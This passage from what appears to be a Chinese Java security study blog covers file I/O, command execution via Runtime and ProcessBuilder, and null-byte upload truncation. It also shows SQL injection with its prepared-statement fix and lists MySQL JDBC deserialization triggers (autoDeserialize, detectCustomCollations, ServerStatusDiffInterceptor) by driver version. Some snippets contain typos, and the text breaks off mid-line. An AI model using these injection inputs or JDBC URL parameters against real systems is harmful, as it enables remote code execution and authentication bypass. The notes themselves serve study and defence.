-<span class="number">1</span>) &#123;</span><br><span class="line">        out.write(bytes,<span class="number">0</span>,a);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    System.out.println(out.tostring());</span><br><span class="line">&#125;   </span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="FileOutputStream写入文件"><a href="#FileOutputStream写入文件" class="headerlink" title="FileOutputStream写入文件"></a>FileOutputStream写入文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">write</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;E:\\java-study\\1.txt&quot;</span>);</span><br><span class="line">            <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(f);</span><br><span class="line">            <span class="type">String</span> <span class="variable">context</span> <span class="operator">=</span> <span class="string">&quot;hello world&quot;</span>;</span><br><span class="line">            fos.write(context.getBytes());</span><br><span class="line">            fos.flush();</span><br><span class="line">            fos.close();</span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="RandomAcessFile读写文件"><a href="#RandomAcessFile读写文件" class="headerlink" title="RandomAcessFile读写文件"></a>RandomAcessFile读写文件</h3><p>大致方法和FileOutputStream和FileInputStream方法没什么区别</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RandomAccessFileReadDemo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span class="line">        <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;E:\\java-study\\1.txt&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="comment">//创建RandomAccessFile对象</span></span><br><span class="line">            <span class="type">RandomAccessFile</span> <span class="variable">raf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RandomAccessFile</span>(f,<span class="string">&quot;r&quot;</span>);</span><br><span class="line">            <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">            <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="type">ByteArrayOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">            <span class="keyword">while</span>((a = raf.read(bytes)) != -<span class="number">1</span>)&#123;</span><br><span class="line">                out.write(bytes,<span class="number">0</span>,a);</span><br><span class="line">            &#125;</span><br><span class="line">            System.out.println(out.toString());</span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RandomAccessFileWriteDemo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span class="line">        <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;E:\\java-study\\1.txt&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="comment">//创建RandomAccessFile对象</span></span><br><span class="line">            <span class="type">RandomAccessFile</span> <span class="variable">raf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RandomAccessFile</span>(f,<span class="string">&quot;rw&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">context</span> <span class="operator">=</span> <span class="string">&quot;ni hao&quot;</span>;</span><br><span class="line">            raf.write(context.getBytes());</span><br><span class="line">            raf.close();</span><br><span class="line"></span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="FileSystemProvider读写文件"><a href="#FileSystemProvider读写文件" class="headerlink" title="FileSystemProvider读写文件"></a>FileSystemProvider读写文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Path;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FileSystemProviderDemo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Path</span> <span class="variable">p</span> <span class="operator">=</span> Paths.get(<span class="string">&quot;E:\\java-study\\1.txt&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">byte</span>[] bytes = Files.readAllBytes(p);</span><br><span class="line">            System.out.println(<span class="keyword">new</span> <span class="title class_">String</span>(bytes));</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Path;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FileSystemProviderDemo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Path</span> <span class="variable">p</span> <span class="operator">=</span> Paths.get(<span class="string">&quot;E:\\java-study\\1.txt&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">context</span> <span class="operator">=</span> <span class="string">&quot;ssskuu&quot;</span>;</span><br><span class="line">            Files.write(p,context.getBytes());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="空字节截断"><a href="#空字节截断" class="headerlink" title="空字节截断"></a>空字节截断</h3><p>jdk 1.7.40之前的版本 在<code>java.io.File</code>中没有检测空字节</p><p>由于java的api都是c写的 c里面遇到空字节会自动结束</p><p>如果java的api中没有自己显式的检测是否有空字节 否则默认会截断</p><p>常用于文件上传漏洞中 11.jsp\u0000.jpg</p><h2 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h2><h3 id="Runtime-exec-命令执行"><a href="#Runtime-exec-命令执行" class="headerlink" title="Runtime.exec()命令执行"></a>Runtime.exec()命令执行</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> &#123;</span><br><span class="line">    Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="ProcessBuilder命令执行"><a href="#ProcessBuilder命令执行" class="headerlink" title="ProcessBuilder命令执行"></a>ProcessBuilder命令执行</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProcessbuliderDemo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;whoami&quot;</span>;</span><br><span class="line">            <span class="comment">//执行cmd </span></span><br><span class="line">            <span class="comment">//start()启动 并获得输入流</span></span><br><span class="line">            <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(cmd).start().getInputStream();</span><br><span class="line">            <span class="comment">//将输入流中的数据输出</span></span><br><span class="line">            <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">            <span class="type">ByteArrayOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">            <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">while</span>((a = in.read(bytes)) != -<span class="number">1</span>)&#123;</span><br><span class="line">                out.write(bytes,<span class="number">0</span>,a);</span><br><span class="line">            &#125;</span><br><span class="line">            System.out.println(out.toString());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="ProcessImpl"><a href="#ProcessImpl" class="headerlink" title="ProcessImpl"></a>ProcessImpl</h3><p>ProcessImpl是真正负责创建和启动操作系统进程的核心类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String args[])</span> &#123;</span><br><span class="line">    <span class="type">ProcessImpl</span> <span class="variable">p</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;java.lang.ProcessImpl&quot;</span>);</span><br><span class="line">    String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">    <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> p.getDeclaredMethod(<span class="string">&quot;start&quot;</span>, String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, <span class="type">boolean</span>.class);</span><br><span class="line">    method.setAcessable(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> method.invoke(<span class="literal">null</span>,cmd,<span class="literal">null</span>,<span class="literal">null</span>,<span class="literal">null</span>,<span class="literal">false</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="jdbc"><a href="#jdbc" class="headerlink" title="jdbc"></a>jdbc</h2><h3 id="核心api"><a href="#核心api" class="headerlink" title="核心api"></a>核心api</h3><p>java.sql.DriverManager</p><p>Java通过java.sql.DriverManager来<strong>管理所用数据库的驱动注册</strong>，提供getConnection方法来<strong>连接数据库</strong></p><p>java.sql.Driver</p><p>负责对数据库的链接 所有的数据库驱动包都要实现这个接口</p><p>java.sql.Connection</p><p>getConnection之后 返回Connection对象 在此对象上进行操作</p><h3 id="sql注入防御"><a href="#sql注入防御" class="headerlink" title="sql注入防御"></a>sql注入防御</h3><ol><li>转义引号 </li><li>限制传入的数据</li><li>预编译</li></ol><h3 id="预编译"><a href="#预编译" class="headerlink" title="预编译"></a>预编译</h3><p>将查询语句的结构与参数数据分离 </p><p>使得传入的数据 不会被当做sql语句被执行 只是一段字符串而已</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> request.getParameter(<span class="string">&quot;user&quot;</span>);</span><br><span class="line"><span class="comment">// 直接拼接字符串，极度危险</span></span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM admin WHERE name = &#x27;&quot;</span> + username + <span class="string">&quot;&#x27;&quot;</span>;</span><br><span class="line"><span class="type">Statement</span> <span class="variable">stmt</span> <span class="operator">=</span> conn.createStatement();</span><br><span class="line"><span class="type">ResultSet</span> <span class="variable">rs</span> <span class="operator">=</span> stmt.executeQuery(sql); </span><br><span class="line"><span class="comment">// 如果 username 输入：admin&#x27; --</span></span><br><span class="line"><span class="comment">// SQL 变为：SELECT * FROM admin WHERE name = &#x27;admin&#x27; --&#x27;</span></span><br><span class="line"><span class="comment">// 后面的引号和条件被注释掉，导致绕过密码验证</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> request.getParameter(<span class="string">&quot;user&quot;</span>);</span><br><span class="line"><span class="comment">// 使用 ? 占位符</span></span><br><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM admin WHERE name = ?&quot;</span>;</span><br><span class="line"><span class="type">PreparedStatement</span> <span class="variable">pstmt</span> <span class="operator">=</span> conn.prepareStatement(sql);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 安全地设置参数</span></span><br><span class="line">pstmt.setString(<span class="number">1</span>, username); </span><br><span class="line"></span><br><span class="line"><span class="type">ResultSet</span> <span class="variable">rs</span> <span class="operator">=</span> pstmt.executeQuery();</span><br><span class="line"><span class="comment">// 即使 username 是 admin&#x27; --</span></span><br><span class="line"><span class="comment">// 数据库也会查找名字 literally 叫做 &quot;admin&#x27; --&quot; 的用户，通常不存在</span></span><br></pre></td></tr></table></figure><h3 id="detectCustomCollations链"><a href="#detectCustomCollations链" class="headerlink" title="detectCustomCollations链"></a>detectCustomCollations链</h3><p><strong>根据调用链中的某个判断语句中的属性参数决定是否会触发反序列化</strong> 因此叫<strong>detectCustomCollations链</strong></p><p>属性参数detectCustomCollations</p><p><strong>满足条件</strong></p><ol><li>autoDeserialize&#x3D;true</li><li>detectCustomCollations&#x3D;true</li><li>特定版本mysql驱动</li></ol><h3 id="触发"><a href="#触发" class="headerlink" title="触发"></a>触发</h3><p>调用DriverManager.getConnection(url) 时即可触发</p><p><strong>mysql-connector-java版本</strong></p><p>5.1.19–5.1.28</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">调用链</span><br><span class="line">ConnectionImpl()</span><br><span class="line">    ConnectionImpl.createNewIO()</span><br><span class="line">        ConnectionImpl.connectOneTryOnly()</span><br><span class="line">            ConnectionImpl.initializePropsFromServer()</span><br><span class="line">                ConnectionImpl.buildCollationMapping()</span><br><span class="line">            Util.resultSetToMap()</span><br><span class="line">                ResultSetImpl.getObject()</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line"><span class="type">Field</span> <span class="variable">fields</span> <span class="operator">=</span> ResultSetImpl.fields[columnIndexMinusOne]</span><br><span class="line"></span><br><span class="line">field.getSQLType()  <span class="comment">//满足为-2 数据库中的字段类型必须被识别为 BLOB 类型</span></span><br><span class="line">    field.getMysqlType() == <span class="number">255</span> <span class="comment">//false 不为MYSQL_TYPE_GEOMETRY 什么条件满足 这个自然满足</span></span><br><span class="line">    !field.isBinary() &amp;&amp; !field.isBlob() <span class="comment">//false 段类型必须被识别为 BLOB类型 或者是Binary类型</span></span><br><span class="line">    !<span class="built_in">this</span>.connection.getAutoDeserialize() <span class="comment">//false jdbc的url中的参数AutoDeserialize=true</span></span><br><span class="line">    data != <span class="literal">null</span> &amp;&amp; data.length &gt;= <span class="number">2</span>  <span class="comment">//true 查询到的数据不为null 且长度大于等于2</span></span><br><span class="line">    data[<span class="number">0</span>] != -<span class="number">84</span> || data[<span class="number">1</span>] != -<span class="number">19</span> <span class="comment">//false 第一个与第二个的 0xAC 0xED 数据为java的序列化数据</span></span><br><span class="line">    </span><br><span class="line">    </span><br></pre></td></tr></table></figure><p>5.1.29—5.1.40</p><p>ConnectionImpl.buildCollationMapping()中到Util.resultSetToMap()的判断句</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">5.1</span><span class="number">.19</span>--<span class="number">5.1</span><span class="number">.28</span> <span class="keyword">if</span> (<span class="built_in">this</span>.versionMeetsMinimum(<span class="number">5</span>, <span class="number">0</span>, <span class="number">0</span>))</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">5.1</span><span class="number">.29</span>---<span class="number">5.1</span><span class="number">.40</span> </span><br><span class="line"></span><br><span class="line">ConnectionImpl()</span><br><span class="line">    ConnectionImpl.createNewIO()</span><br><span class="line">        ConnectionImpl.connectOneTryOnly()</span><br><span class="line">            ConnectionImpl.initializePropsFromServer()</span><br><span class="line">                ConnectionImpl.buildCollationMapping()</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.versionMeetsMinimum(<span class="number">4</span>, <span class="number">1</span>, <span class="number">0</span>) &amp;&amp; <span class="built_in">this</span>.getDetectCustomCollations())</span><br><span class="line">    <span class="built_in">this</span>.detectCustomCollations.getValueAsBoolean()</span><br><span class="line">    <span class="keyword">return</span> (Boolean)<span class="built_in">this</span>.valueAsObject <span class="comment">//默认为false</span></span><br><span class="line">            </span><br><span class="line">            Util.resultSetToMap()</span><br><span class="line">                ResultSetImpl.getObject()    </span><br><span class="line"></span><br><span class="line">    </span><br><span class="line"><span class="comment">//url中添加参数即可</span></span><br><span class="line">autoDeserialize=<span class="literal">true</span>&amp;detectCustomCollations=<span class="literal">true</span></span><br></pre></td></tr></table></figure><p>5.1.41—5.1.48</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ConnectionImpl()</span><br><span class="line">    ConnectionImpl.createNewIO()</span><br><span class="line">        ConnectionImpl.connectOneTryOnly()</span><br><span class="line">            ConnectionImpl.initializePropsFromServer()</span><br><span class="line">                ConnectionImpl.buildCollationMapping()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (customCharset == <span class="literal">null</span> &amp;&amp; <span class="built_in">this</span>.getDetectCustomCollations() &amp;&amp; <span class="built_in">this</span>.versionMeetsMinimum(<span class="number">4</span>, <span class="number">1</span>, <span class="number">0</span>))</span><br><span class="line">        <span class="comment">//customCharset默认为null</span></span><br><span class="line"></span><br><span class="line">                    results.getObject(<span class="number">3</span>)).intValue()</span><br><span class="line">    ResultSetImpl.getObjectDeserializingIfNeeded()</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line"><span class="comment">//url中添加参数即可</span></span><br><span class="line">autoDeserialize=<span class="literal">true</span>&amp;detectCustomCollations=<span class="literal">true</span></span><br></pre></td></tr></table></figure><p>6.0.2—6.0.6</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//依旧</span></span><br><span class="line">autoDeserialize=<span class="literal">true</span>&amp;detectCustomCollations=<span class="literal">true</span></span><br></pre></td></tr></table></figure><h3 id="ServerStatusDiffInterceptor"><a href="#ServerStatusDiffInterceptor" class="headerlink" title="ServerStatusDiffInterceptor"></a>ServerStatusDiffInterceptor</h3><p>url中设置一个拦截器statementInterceptors&#x3D;com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor</p><p>触发反序列化</p><h3 id="条件"><a href="#条件" class="headerlink" title="条件"></a>条件</h3><ol><li>autoDeserialize&#x3D;true</li><li>statementInterceptors&#x3D;com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor</li><li>特定版本</li></ol><p>5.1.0—5.1.10</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">com.mysql.jdbc.PreparedStatement.executeQuery(PreparedStatement.java:<span class="number">2228</span>)</span><br><span class="line">    com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:<span class="number">2077</span>)</span><br><span class="line">        com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:<span class="number">2648</span>)</span><br><span class="line">            com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:<span class="number">2008</span>)</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>.statementInterceptors != <span class="literal">null</span>)</span><br><span class="line">                com.mysql.jdbc.MysqlIO.invokeStatementInterceptorsPre</span><br><span class="line">                    com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.preProcess</span><br><span class="line">                ServerStatusDiffInterceptor.populateMapWithSessionStatusValues</span><br><span class="line">                Util.resultSetToMap</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autoDeserialize=<span class="literal">true</span>&amp;statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor</span><br></pre></td></tr></table></figure><p>5.1.11—5.x.xx</p><p>在查询的时候就会触发反序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">ConnectionImpl()</span><br><span class="line">    ConnectionImpl.createNewIO()</span><br><span class="line">ConnectionImpl.initializePropsFromServer()</span><br><span class="line">    ConnectionImpl.loadServerVariables()</span><br><span class="line">    PreparedStatement.executeQuery</span><br><span class="line">    ConnectionImpl.execSQL</span><br><span class="line">    MysqlIO.sqlQueryDirect</span><br><span class="line">    MysqlIO.invokeStatementInterceptorsPre</span><br><span class="line">    ServerStatusDiffInterceptor.preProcess</span><br><span class="line">    ServerStatusDiffInterceptor.populateMapWithSessionStatusValues</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autoDeserialize=<span class="literal">true</span>&amp;statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor</span><br></pre></td></tr></table></figure><p>6.x</p><p>和5.1.11—5.x.xx一样</p><p>驱动名更改了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autoDeserialize=<span class="literal">true</span>&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</span><br></pre></td></tr></table></figure><p>8.0.17——8.0.20</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autoDeserialize=<span 